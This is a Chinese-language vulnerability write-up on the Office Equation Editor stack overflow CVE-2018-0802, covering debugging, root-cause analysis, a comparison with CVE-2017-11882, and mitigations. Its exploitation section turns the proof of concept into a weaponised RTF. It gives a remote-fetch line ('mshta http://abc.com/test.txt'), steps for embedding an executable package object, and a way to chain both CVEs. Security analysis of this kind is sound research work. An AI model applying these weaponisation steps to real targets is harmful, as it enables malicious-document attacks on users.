c++ c6386 缓冲区 溢出_Office 远程溢出漏洞测试与分析
本文作者:ghostkeeper(信安之路首次投稿作者)
獲得獎勵:加入信安之路核心群+免費邀請加入信安之路知識星球+免費獲取 90sec 論壇邀請碼
在 2017 年 11 月,微軟發布的 11 月更新布丁中,微軟將隱藏許久的 office 遠程代碼執行漏洞 (CVE-2017-11882)給修復了,由于該漏洞為一個標準的的棧溢出漏洞,原理與復現都較為簡單,且影響從?Office 2000-Office 2016?幾乎所有的戶 Office 版本,所以吸引了當時很多人的關注。不過,雖然微軟發布了該漏洞的修復補丁,但卻是以二進制補丁的形式發布的,并沒有以源碼的形式重新進行編譯, 因而并沒有從源碼的層面上徹底排除該漏洞, 且修復后也沒有開啟 DEP,僅僅增加了 ASLR,這就為我們對該類漏洞的二次開發利用提供了可能,而 CVE-2018-0802 也就是在該背景下被人發現的
0x01.調試環境及準備工作
注:要分析該漏洞,必須在已經打過 CVE-2017-11882 微軟補丁(補丁號 kb4011604) 的 Word 軟件中進行(具體原因后面會說),而微軟官方補丁更新中最低支持 Office 2007 sp3,所以正確的順序為先安裝 Office 2007,再安裝 Office 2007 sp3 升級包,最后安裝 kb4011604 更新補丁
安裝好環境后,雙擊打開從網上獲取的 POC 文件,地址:
https://github.com/GeekOnlineCode/POC/tree/master/CVE-2018-0802
如果能彈出計算器,那么環境安裝成功,接下來就可以進行愉快的調試環節了
0x02.動態調試
在虛擬機里雙擊打開 POC 發現彈出計算器,我們首先想到的是該 POC 可能調用了 CreateProcess() 函數,所以打開 Word,用 OD 附加后給 CreateProcess() 函數下 API 斷點,運行后再次打開 POC 發現計算器正常彈出,斷點并沒有斷下
說明該 POC 并不是針對 Word 程序的,那究竟是誰調用了計算器呢?這里我們可以使用 Process Monitor 這個工具,打開 Process Monitor,雙擊 POC 后,打開 Process Monitor 的進程樹,可以發現是 EQNEDT32.EXE 這個程序調用了 cmd 彈出了計算器
在這里我們可以發現,Word 的公式編輯器是作為一個獨立的 .exe 文件存在的,并不是 .dll 之類的動態鏈接庫,所以直接對 Word 下斷點是沒有用的。同時,也可以在上圖的進程樹窗口里找到 Word 的公式編輯器的文件路徑(C:\Program Files\Common Files\microsoft shared\EQUATION\EQNEDT32.EXE),把它復制一份出來,雙擊啟動后再用 OD 附加并設置 API 斷點,運行后再打開 POC 文件,發現程序成功地斷在 CreateProcess() 處,不過觀察堆棧窗口后可以發現,調用并不是來自 EQNEDT32.EXE,而是來自 Kernel32.dll
也就是說,漏洞觸發后,并沒有直接調用 CreateProcess() 這個函數,因此,打開 OD 的堆棧調用窗口,可以發現,漏洞觸發后,應該是直接調用的 Winexec() 這個函數
給 Winexec() 這個函數下斷點后,關閉 Word,重新打開公式編輯器并用 OD 進行附加,然后打開 POC,發現程序斷在了 Winexec() 處。不過,我們發現,隨著每次對公式編輯器重新進行附加調試,調用 Winexec() 函數的調用地址在不斷變化,并不固定,為了方便后續對函數的分析與定位,我們可以暫時關掉該公式編輯器的 ASLR,等到分析完畢再重新把它打開,關閉方法是找到 PE 文件的 PE 頭中擴展頭的 DLL 屬性并將其前一個字節清零即可,即把 IMAGE_NT_HEADERS->IMAGE_OPTIONAL_HEADER->DllCharacteristics 字段的前一個字節清零,利用 010 Edit 的模板功能,可以很方便地完成
關閉 ASLR 之后,調用地址終于不再變化。接下來我們看 Winexec() 函數調用處附近的堆棧,熟悉 Windows 函數棧幀與調用約定以及有過棧溢出漏洞分析經驗的童鞋可能知道,在 Windows 中,棧的生長方向是由高地址向低地址處生長,也就是說,先被調用的函數其棧幀在堆棧區的高地址處,而后被調用的函數其棧幀在堆棧區的低地址,而當一個函數內的局部變量緩沖區發生溢出時,則是由低地址向高地址處淹沒的,也就是說,當發生棧溢出時,只有可能把本函數或者調用本函數的上層函數返回地址給淹沒,而本函數調用的函數(其中可能就包括了發生溢出的函數)以及它們內部繼續調用的下層函數其棧幀應該是是沒有被破壞的
因此,我們可以在 Winexec() 函數被調用處的堆棧區域向上搜索那些堆棧區域沒有被破壞的函數調用,并通過它們的返回地址找到調用它們的函數的地址并給它下斷點,然后重新用 OD 附加公式編輯器并打開 POC 進行調試,調試時注意觀察堆棧區域變化,當被斷下的函數執行到某一個函數或是字符串賦值指令時,堆棧區域出現明顯的變化且有函數返回地址被破壞時,該函數或是匯編指令即為我們需要找的溢出函數,被破壞的返回地址即為溢出點。順著這個思路,我們可以在堆棧區 12f100 處向上搜索那些返回地址來自 EQNEDT32.EXE 的函數棧幀,并找到調用它們的函數然后下斷點
不過,經過一系列的嘗試后,我們發現,12f100 向上的堆棧區域,似乎并沒有能夠改寫一片連續的緩沖區并將某函數返回地址破壞的函數出現,這該怎么辦?難道我們之前的分析有問題么?碰到這種情況,我們要積極地轉換思路,同時對 OD 的代碼窗口,數據窗口,堆棧窗口以及寄存器窗口多留意觀察,不要在一棵樹上吊死。如果細心觀察 OD 的堆棧窗口和寄存器窗口,我們可以發現,call Winexec() 這條匯編指令的地址是 430c12,而此時 eax 里存放的值剛好也是 430c12
于是我們可以大膽猜測,應該是一個 jmp eax 或者是一個 call eax 的匯編指令讓程序的 eip 轉到了 430c12 處,在沒有開啟 DEP 的情況下,這條匯編指令,最有可能出現在程序的堆棧區域,所以我們可以在堆棧區里搜索這 2 條指令,不過在 OD 里我們是無法在堆棧窗口直接搜索匯編指令,所以需要搜索這兩條指令的機器碼 FF E0(jmp eax) 和 FF D0(call eax),經過搜索,只有 12f379 處出現了 jmp eax,在代碼窗口跟隨該地址,并觀察附近的匯編指令,我們還可以發現,函數的第一個參數保存在了 ebx 中,而此時 ebx 保存的也剛好是彈出計算器的 cmd 命令,由此,我們基本可以確定,12f379 附近應該就是我們需要找的 Shellcode
在 12f379 處下硬件訪問斷點和硬件寫入斷點,然后結束進程再用 OD 重新進行附加調試,發現程序依然斷在了 430c12 處,這是因為被附加調試的程序在第一次只會被軟件斷點所斷下,而這之后再遇到硬件斷點或者內存斷點的話才有可能被斷下,因此,我們需要在該硬件斷點被觸發前先設置一個軟件斷點,結合前面所說的 Windows 中堆棧的生長方向,我們在 OD 的堆棧窗口中順著 12f379 的地址向下尋找,可以找到一個返回地址來自 ole32.dll 的函數調用,給該函數返回地址下斷點,然后再次用 OD 進行附加調試
當程序成功斷下后,我們可以暫時先關閉該軟件斷點,然后按 F9 正常運行,之前設置的硬件斷點便可以正常斷下了。第一處斷下的地址,經分析并沒有什么特別的地方,接著再 F9 繼續運行,也沒什么特別的地方,直到第三次被斷下,發現是一個串賦值指令,源字符串地址就是我們設置硬件斷點地址后的的 12f37c,而目的字符串地址則停在了 12f29c,同時觀察 12f379 與 12f299 處內存數據,也可以發現有 jmp eax 的機器碼出現,熟悉匯編語言的童鞋,馬上就會想到此處匯編指令對應的 C 代碼應該是一個 strcpy() 的字符串拷貝函數,而 12f29c 附近應該就是被淹沒的緩沖區,不過,觀察后可以發現,該函數的棧幀棧底為 12f208,而被淹沒的緩沖區則在 12f29c 附近,所以猜測被溢出的緩沖區應該不屬于該函數,而是調用該函數的上一層函數
接下來找到該函數起始地址 421e39 并設置斷點,然后一路單步下去,在這個函數執行結束返回上一層函數的棧幀空間時,我們可以發現調用 421e39 函數的這個函數,它的棧幀棧底為 12f300,距離之前被淹沒的緩沖區非常接近,對 OD 堆棧窗口進行觀察可以發現該函數棧幀空間其 ebp 以及 ebp 向上的空間部分都出現了大量 0x20202020 數據,而不考慮開啟了 ASLR,一個正常運行的程序它的函數的棧底是不會有 20202020 這個地址出現的,所以這個函數的堆棧空間遭到了破壞,之前被淹沒的緩沖區,覆蓋的應該就是它的返回地址
至此,該漏洞的溢出函數以及溢出點已經被我們所找到,接下來就是驗證我們的猜想。找到溢出點所在函數的起始地址 421774 并設置好斷點,然后結束進程并重新用 OD 進行附加調試,程序成功地斷在了 421774 函數這里,注意觀察這里的堆棧空間,是從 12f228 到 12f300
然后一路快速步過,直至運行到 421e39 函數這里,單步步入,這里首先求出了存放在 esi 寄存器中源字符串的長度為 0x96
接著將源字符串中前 0x94 字節賦值給 421774 函數開辟的緩沖區里,這里我們發現,該緩沖區起始地址為 12f270,賦值 0x94 個字節后剛好賦值到了 12f303 這個地址,而之前我們提到過,12f300 到 12f303 這四個字節剛好存放的是 421774 函數的棧底
然后,又將源字符串的最后兩個字節繼續賦值給緩沖區,由于之前賦值操作已經覆蓋到了 421774 函數的棧底,所以接下來的兩個字節理所當然的覆蓋到了 421774 函數返回上一層函數調用的返回地址,不過由于只有兩個字節,所以實際是覆蓋了返回地址的低兩字節
接下來就是正常一路單步過去,直到 421e39 函數執行完返回 421774 函數的調用處,繼續一路單步,可以發現在 421774 函數內部還有一處遞歸調用,調用 421774 函數自己,不過一路跟過去后發現并沒有什么大問題,遞歸調用后的 421774 函數在調用 421e39 函數時僅僅只是普通的給字體名稱賦值,同時在發生過一次遞歸之后也不會發生第二次遞歸,最后執行完后再次返回第一次調用 421774 函數的地方,一路快速單步步過,來到函數的 ret 指令處,通過上面的分析,我們已經知道此時的函數返回地址已經被修改
繼續單步,發現又來到了一處ret指令,繼續跳轉,發現剛好跳轉到了我們給 421774 函數的緩沖區賦值的源字符串的起始地址 12f350
等到跳回這里,就是我們 Shellcode 執行的起始地址了,這里的 Shellcode 也不復雜,主要就是根據 PEB 獲得鏡像加載基址,并根據固定偏移獲得 call Winexec() 匯編代碼的地址,利用 call pop 等指令獲得當前棧空間地址,并利用固定偏移找到 Shellcode 中彈出計算器 cmd 命令的字符串地址,最后傳參調用函數,彈出計算器。具體分析如下
通過以上分析,我們發現,該 Shellcode 在執行時,有將棧幀故意抬高 0x200 字節的行為,這也就是我們在一開始分析該漏洞時,無法根據堆棧分布特點,準確定位到溢出函數與溢出點的原因。同時,由于原程序開啟了 ASLR,所以在覆蓋返回地址時,僅僅覆蓋了低兩字節的相對于基址的偏移量,而高兩字節的加載基址,對于已經運行起來的程序來說,任何函數的加載基址都是一樣的,所以我們直接"借用"即可。而在 Shellcode 中的 call pop 指令組合獲取當前堆棧地址以及利用 PEB 獲取鏡像的加載基址等操作,也避免了開啟 ASLR 所帶來的影響
至此,該漏洞的動態調試結束
0x03.靜態分析
在對該漏洞動態調試完成后,為了進一步了解漏洞的成因,我們還可以用 IDA 對其進一步的靜態分析。用 IDA 打開 EQNEDT32.EXE 文件,由于之前我們在用 OD 進行動態調試的時候,已經把該程序的 ASLR 關閉了,所以程序運行時使用的加載基址則是默認加載基址,這與 IDA 中顯示的地址是一致的。我們直接來到發生溢出的函數 421e39 這里,可以很明顯的看到,在進行字符串賦值操作的時候,并沒有對長度進行檢查,這也是造成這個漏洞主要原因
來到 421774 函數這里,我們可以看到該函數調用 421e39 函數的地方,同時,觀察后也可以發現,在 421774 函數內開辟被淹沒的緩沖區,原本長度可能只有 0x3c 個字節,被賦值時,是從第 28 位,也就是 0x1c 開始覆蓋的,所以實際被覆蓋的合法區域長度只有 0x20 個字節,而在被覆蓋了 0x94 個字節之后,0xac-0x1c-0x94=-0x04,也就是 ebp+3 的位置,剛好覆蓋掉 ebp,之后 2 個字節接著覆蓋掉返回地址低 2 字節,這也與我們之前的分析一致
結合在網上的其它資料,我們可以知道該漏洞是因為 EQNEDT32.EXE 中的“Equation Native”流中出現了問題,大致了解一下它的結構,整個”EquationNative”數據由頭結構和后續數據組成。其頭結構為:
struct?EQNOLEFILEHDR?{????WORD????cbHdr;????//?EQNOLEFILEHDR長度,恒為0x1c????DWORD???version;??//?恒為0x20000????WORD????cf;???????//?剪切板格式("MathType?EF")????DWORD???cbObject;?//?MTEF數據長度,不包括EQNOLEFILEHDR部分????DWROD???reserved1;//?未公開????DWORD???reserved2;//?未公開????DWORD???reserved3;//?未公開????DWORD???reserved4;//?未公開};而緊接著頭結構內容的是 MTEFData 內容,MTEFData 內容也由 MTEF 頭和 MTEF 字節流數據組成,MTEF 頭內容:
struct?MTEF_HEADER?{????BYTE?bMtefVersion;???????//?MTEF版本號,一般為0x03????BYTE?bPlatform;??????????//?系統生成平臺,0x00為Mac生成,0x01為Windows生成????BYTE?bProduct;???????????//?軟件生成平臺,0x00為MathType生成,0x01為公式編輯器生成????BYTE?bProductVersion;????//?產品主版本號????BYTE?bProductSebVersion;?//?產品副版本號};MTEF 字節流數據包括一系列的記錄,每一個記錄以一個標簽位開始,標簽位的低4位描述該記錄的類型,高四位描述該記錄的屬性,后續緊跟標簽的內容數據,本次漏洞則主要發生在字體標簽部分,因而主要對字體標簽進行了解:
struct?stuFontRecord?{????BYTE????bTag;????????//?字體文件的tag位0x08????BYTE????bTypeFace;???//?字體風格????BYTE????bStyle;??????//?字體樣式????BYTE????bFontName[n]?//?字體名稱,以NULL為結束符};其中的 bFontName[n],即字體名稱,在賦值時對它的判斷是以 NULL 為結束標記的,而沒有對長度進行效驗,所以造成此次漏洞
關于 MTEF 的其它詳細介紹,有興趣童鞋可以參考:
http://rtf2latex2e.sourceforge.net/docs.html
此處不再過多介紹
至此,該漏洞的靜態分析結束
0x04 與 CVE-2017-11882 比較
由于該漏洞是在 CVE-2017-11882 打完補丁后被發現了,作為它的"難兄難弟",我們自然關心它與 CVE-2017-11882 有什么聯系。我們首先將此時的虛擬機快照保存,接著退回到 Office 2007 安裝前的狀態重新安裝 Office 2007,安裝完后,不要打任何補丁,直接來到之前提取公式編輯器的文件路徑重新復制一份并重命名為 EQNEDT32_OLD.EXE,然后再回到之前的快照當中用 IDA 插件 BinDiff 進行比較,關于 BinDiff 的安裝與用法,可以參考
https://www.cnblogs.com/lsdb/p/10543411.html
在此不再過多敘述
通過對比,我們發現,打完補丁前后共有 5 個函數發生了改變,如果之前有分析過 CVE-2017-11882 那個漏洞的童鞋可能知道,觸發那個漏洞的溢出函數與被淹沒的緩沖區都在 401160F 函數里,這里我們關注這個函數
用 BinDiff 打開觀察后發現,與補丁前相比,補丁后多了 8 個基本塊,除此外也有部分基本塊內的指令與原先不一樣。這里我們來到對函數緩沖區進行賦值的地方,也就是函數開始處
可以發現,打完補丁后,在函數起始的地方多出了兩個基本快,主要作用是在進行字符串賦值前,首先求一下該字符串長度并存在 ecx 中,如果大于等于 0x21,則會將 ecx 即字符串賦值長度固定為 0x20,隨后再進行賦值操作,在 IDA 中能更明顯地看出來
補丁前的 41160f 函數:
補丁后的 41160f 函數:
到這里,可能有的童鞋會想,打完 kb4011604 補丁后,CVE-2017-11882 無法被觸發,而 CVE-2018-0802 可以,那如果我們在未打補丁的情況下運行 CVE-2018-0802 POC 也能成功彈出計算器的話,那這個 POC 豈不是可以"無視"微軟的這個更新補丁顯得很"通用"?我一開始也是這么想的,不過當我們在未打補丁的情況下運行 CVE-2018-0802 的 POC 時,它并沒有成功,這又是為什么呢?為了找到原因,我們還是先用 OD 附加上公式編輯器并在 421774 和 421e39 這兩個函數下斷點,由于補丁前并沒有開啟 ASLR,所以直接搜索地址即可,然后打開 POC 文件,發現程序成功在 421774 函數這里斷下,接著一路單步過去直至來到 421e39 函數這里,單步進去,然后繼續一路單步過去
可以發現這里緩沖區依然可以被成功淹沒過去,接著繼續一路單步下去,走完 421e39 函數,沒有問題,回到 421774 函數這里,繼續一路單步步過,直至步過 4115a7 函數時,程序發生了異常
非法讀取 2f204558 這個地址上的數據,接下來,我們給 4115a7 函數下斷點,重新附加調試,進入 4115a7 函數內,一路單步過去,發現是函數內調用 41160f 函數這里發生了異常,給 41160f 函數下斷點,繼續重新附加調試,然后在 41160f 函數內一路單步過去,直到在第一次調用 44c430 函數時觸發異常,然后繼續重新附加調試并在 44c430 函數內一路單步下去,最終,函數在執行到 MOV DL,BYTE PTR DS:[ECX] 這條指令時觸發了異常
此時的 ecx 值已經為 2f204558,向上回溯,發現 ecx 的值來自 [esp+0x8],重新附加調試來到 44c430 這里,發現此時 [esp+0x8] 的數據也還是 2f204558,繼續向上回溯
觀察可以發現 [esp+0x8] 的值來自于調用 44c430 函數的函數,即 41160f 函數的第一個參數,我們再繼續重新進行附加調試來到 41160f 函數入口這里
可以發現,此時 41160f 函數的第一個參數是 12f350,并不是 2f204558,不過對于正常的函數調用來說,一個函數它的參數是不可能發生變化的,除非...我們一路單步運行下去,直至執行完?REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]?這條指令
可以發現,執行完這條指令后,此時的函數參數已經變成了 2f206578,繼續單步下去
等到執行完 451de0 這個函數后,函數的參數最終變成了 2f204558。此時細心的童鞋應該已經發現,這個 41160f 函數其實就是補丁前造成 CVE-2017-11882 的"罪魁禍首",而這兩個漏洞用來溢出緩沖區的源字符串的都出自同一個地址 12f350,即上文分析時所提到的 MTEF 字節流數據 中 字體標簽 結構體的 字體名稱 成員變量??bFontName[n]
在 IDA 中,我們可以更加清楚地觀察到這一過程,分析可知在 41160f 函數中,若用來淹沒緩沖區的源字符串長度超過 0x30 時,41160f 函數參數 a1 便會被破壞,而這之后當 44c430 函數,即 strstr() 函數被調用時再將 a1 作為參數傳入函數后就極易發生非法內存訪問異常。而對于 CVE-2018-0802 POC 來說,用來覆蓋緩沖區的源字符串的長度足足有 0x96 個字節,早就超過了 0x30,所以函數也就無法繼續執行下去。而 41160f 函數是被 4115a7 函數所調用,而 4115a7 函數又是被 421774 函數所調用,所以在 421774 函數執行到 ret 指令前,函數就已經發生了異常,用來彈出計算器的 Shellcode 自然也就沒有機會被執行。而在補丁過后,41160f 函數中的緩沖區已經收到了保護,不可能再發生溢出的情況,但與此同時它的參數 a1 也受到了保護,不再有可能被破壞,也就是說像上述分析那樣 41160f 函數在調用 strstr() 函數時發生非法內存訪問異常的情況,在補丁過后是不可能出現的,41160f 函數將會被順利執行完,而這也就為 CVE-2018-0802 漏洞的出現創造了前提條件。
其實換個角度想想,雖然在補丁前 41160f 函數在對緩沖區進行賦值時未能加以限制,但由于之后其子函數被調用時,它的參數也會被作為其子函數的參數而一并傳入進去,所以為了防止類似上述情況的"意外狀況"發生,對緩沖區的溢出應"點到為止",即只能覆蓋掉函數的返回地址而不能破壞它的傳參,這也就嚴格"限制"了用來淹沒緩沖區的源字符串長度最多只能是 0x30,而對于一個需要 0x96 字節長度字符串來淹沒緩沖區的 CVE-2018-0802 來說,這是不可能的。所以某種角度來說,正是由于補丁前對 41160f 函數緩沖區沒有進行保護,間接"保護"了 421774 函數的緩沖區不可能被溢出破壞 :)
0x05.漏洞利用
通過上述的調試與分析,相信大家已經對 CVE-2018-0802 的形成原因與觸發原理有了一定基本的認識,接下來就是如何進行利用的問題了。通過在網上查閱相關的技術資料以及之前被曝光過部分APT組織所使用的攻擊樣本,主要的利用方式有以下兩種。
第一,將原 POC 文件中的 "cmd.exe /c calc.exe" 替換為 "mshta?http://abc.com/test.txt",這里的 .txt 文件名及其下載地址部分都是可以隨意改動的,我們只需要把我們要執行的 payload 部分寫入 test.txt 文件然后上傳服務器即可。mshta.exe 英文全稱 Microsoft HTML Application, 主要是微軟設計用來執行 .hta 文件的。上述命令執行后,會創建一個 mshta.exe 進程,然后從?http://abc.com/test.txt?下載指定的文件至 IE 本地緩存地址然后去執行。由于這種利用方式要事先準備好一個服務器,比較麻煩,所以我們這里采用第二種更簡單的方式。
第二種方式則是將原 POC 文件中的 "cmd.exe /c calc.exe" 替換為 "cmd /c %temp%/test.exe",然后將我們要執行的 payload 部分編譯成 test.exe 文件并以 package 對象的形式嵌入到 .rtf 文件中。package 對象,即包裝對象,是一種在某個文檔中插入程序包而創建的對象,主要功能為將 PE 文件釋放到系統的臨時目錄文件夾中,對于 rtf 文件格式的文檔而言, 如果用戶打開該文檔,則 WORD 進程會將對象提取到用戶的臨時目錄中, 單擊文檔內的對象, 則會使用默認處理程序啟動它們,在文檔關閉后,WORD 進程會將用戶的臨時目錄中提取的對象進行刪除。而在文檔打開的時間段內,這些被釋放對象可被系統上的其他任何進程所調用。和公式編輯器對象一樣,package 對象也屬于 OLE 對象。OLE 即 Object Linking and Embedding,對象連接與嵌入技術,它一般是用來解決建立復合文檔的問題,在 Office 軟件的應用中一般用來滿足某用戶在一個文檔中加入不同格式數據的需要(如文本、圖像、聲音等)。關于 .rtf 文件,OLE 與 package 這三者的其他介紹,感興趣的童鞋可以在網上參考其他資料,此處便不再過多敘述。這樣,當我們雙擊打開我們準備好的 exp 時,該 exp 會首先將里面 package 對象釋放到系統臨時目錄文件夾下,然后在漏洞觸發后再由上述命令去執行。
下面是構造 exp 具體步驟,我們首先用 vs2015 把我們要執行的 payload 編譯成一個 .exe 文件,這里我們所演示 payload 功能主要為彈窗:
include??int?WINAPI?WinMain(HINSTANCE?hInstance,?HINSTANCE?hPreInstance,?LPSTR?cmdLine,?INT?nShow){????MessageBoxA(0,?"You're?Hacked",?"Warning",?0);?????????return?0; }接著,我們將我們的 POC 文件復制一份出來,雙擊打開,再依次點擊"插入"、"對象"、"package"、"確定"按鈕,然后把我們準備好的 test.exe 文件以 package 對象的形式插入進去
插入成功后,我們用 010 Edit 打開它,直接搜索 "calc.exe",發現文件中并沒有這樣的字符串,猜測可能是以 ASCII 碼的形式進行了保存,故再次搜索 "63616c63",發現成功搜索到了一處
接著,我們把我們需要修改的命令 "%temp%/test.exe" 先轉化成 16 進制 ASCII 碼,即 "2574656d70252f746573742e657865",再用它覆蓋掉從 "63616c63" 開始的一段與其自身長度相等的一串 16 進制數據,覆蓋時注意不能破壞原來文件的大小,不然可能會導致 Shellcode 沒有對齊被覆蓋的返回地址而導致利用失敗。修改完成后保存退出,雙擊我們修改后的文件,發現并不能像我們預期的那樣彈窗,為了找到原因我們還是像之前分析時的那樣對公式編輯器進行附加調試,但是奇怪的是,當我們對公式編輯器附加調試后,再打開文件時發現 OD 并沒有斷下,也就是說,原 POC 經修改后,公式編輯器對象已經被破壞。上述修改中對 cmd 指令的修改是一個字節一個字節改的,應該不會有什么問題,那問題很有可能出在插入 package 對象的過程中,用 010 Edit 同時打開原 POC 與修改過后的 POC,比較可以發現,相對于原 POC,修改過后的文件多了許多雜七雜八的數據結構
修改前POC文件
修改后的POC文件
可以發現,修改完之后,里面的內容已面目全非,這顯然不是我們想要的結果,因此,我們對于package對象的插入,應該像之前修改cmd指令那樣進行字節級操作,而不能直接依賴 Word 提供給我們的現成的按鈕
結合我們之前對 .rtf 文檔以及 package 對象的了解,我們先用 010 Edit 打開修改過后的文件,搜索 "package" 字符串,搜索到之后,在它的前面不遠處我們可以找到該對象的起始標志 "{\object"
然后從它的起始標志開始一直到它的下一個標簽起始標志前結束,把這段數據復制出來
然后再復制一份 POC 文件出來,把先前拷貝出來的 package 對象粘貼在公式編輯器對象后面(當然前面也是可以的),接著像之前那樣再修改一下 cmd 命令,然后保存并退出,再重新打開修改后的 POC 文件
發現已經可以成功彈窗了,不過卻提示文檔已損壞,猜測可能是之前拷貝 package 對象時拷貝不完全所致,打開 010 Edit 仔細觀察我們拷貝出來的 package 對象,可以發現之前我們拷貝出來的 package 對象,它左邊的大括號有三個,但右邊的大括號只有兩個,也就是說,拷貝出來的 package 對象不完整,我們可以試著在該 package 對象結尾處再加一個右邊大括號,然后保存并退出,接著再一次雙擊打開我們 exp,It Works
到這里,我們根據該漏洞 POC 文件把它改造成一個 EXP 的任務已經完成
通過前面我們將 CVE-2018-0802 與 CVE-2017-11882 的比較可知,這兩個漏洞的觸發條件是互斥的,因此,我們其實可以還可以將 CVE-2017-11882 的 POC 中的公式編輯器對象提取出來插入到我們這個 exp 里,然后將執行 cmd 指令的地方也換成與我們 exp 相同的指令,這樣,無論是否打過 kb4011604 補丁,我們都有機會執行相應的 payload,大大提高了該 exp 通用性。如果有對 rtf 文件格式以及 OLE、PACKAGE 對象比較熟悉的童鞋,還可以用 C++ 或 python 實現一個能一鍵生成 POC 或 EXP 的程序以及腳本,具體過程這里不再詳細討論
0x06.預防及緩解措施
在 CVE-2017-11882 漏洞被曝光后微軟的更新補丁來看,微軟并沒有對該程序的源碼重新進行編譯,加上寫這個軟件的公司被微軟收購后早已不再更新,推測該程序的源碼可能已經遺失,因此微軟將很難從源代碼級別去排查這個程序是否還有其他漏洞,而在這之后對 CVE-2018-080 2更新的補丁中微軟已經徹底放棄 EQEDT32.EXE 文件,從而徹底杜絕了利用該程序進行漏洞攻擊的行為。對于沒有打更新補丁的情況,也可以通過禁用公式編輯器 COM 控件的方式進行緩解,具體操作為同時按下 "Win+R" 鍵打開"運行"窗口,然后輸入 "cmd" 打開 cmd 窗口并輸入以下指令(其中 XX.X 為版本號):
reg add "HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM Compatibility{0002CE02-0000- 0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400
同時,針對以上使用 mshta 指令與 package 對象進行攻擊的方式,對于前一種我們可以通過修改 mshta.exe 的文件名來阻止命令的實現,具體操作為找到 C:\Windows\System32 目錄下的 mshta.exe 文件,然后重命名為 mshta1.exe 即可,不過由于是在系統文件目錄下進行的修改,如果直接重命名會出現如下錯誤
因而我們還需要獲取該文件的相關操作權限,右鍵單擊屬性,依次選擇"安全"、"高級"
然后依次點擊"所有者"、"編輯"并將當前所有者改為 Administrators,
然后再依次單擊"權限"、"更改權限",
選中 "Administrators" 賬戶,點擊"編輯"
將權限設為完全控制,之后一路點擊"確定"與"應用"按鈕返回,此時我們就可以更改 mshta.exe 的文件名了
修改過后,我們發現 cmd 已經無法識別 mshta 命令了,只能使用我們自己自定義 mshta1 命令進行操作
而對于后一種,我們也可以通過禁用 Package ActiveX 控件來阻止 rtf 文件在臨時目錄釋放文件的問題,具體操作為同時按下 "Win+R" 鍵打開"運行"窗口,然后輸入 "regedit" 打開注冊表編輯器找到以下路徑修改以下數值:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common\COM Compatibility{F20DA720-C02F-11CE-927B-0800095AE340}]
"Compatibility Flags"=dword:00000400
0x07.結尾
最后,附上本次分析 udd、idb 文件,補丁前后的公式編輯器程序以及 POC 和一個能彈窗的 EXP 文件(請前往星球下載)
總結
以上是生活随笔為你收集整理的c++ c6386 缓冲区 溢出_Office 远程溢出漏洞测试与分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: em在聊天中是什么意思_聊天时,女人总给
- 下一篇: IBM并购网络视频会议商WebDialo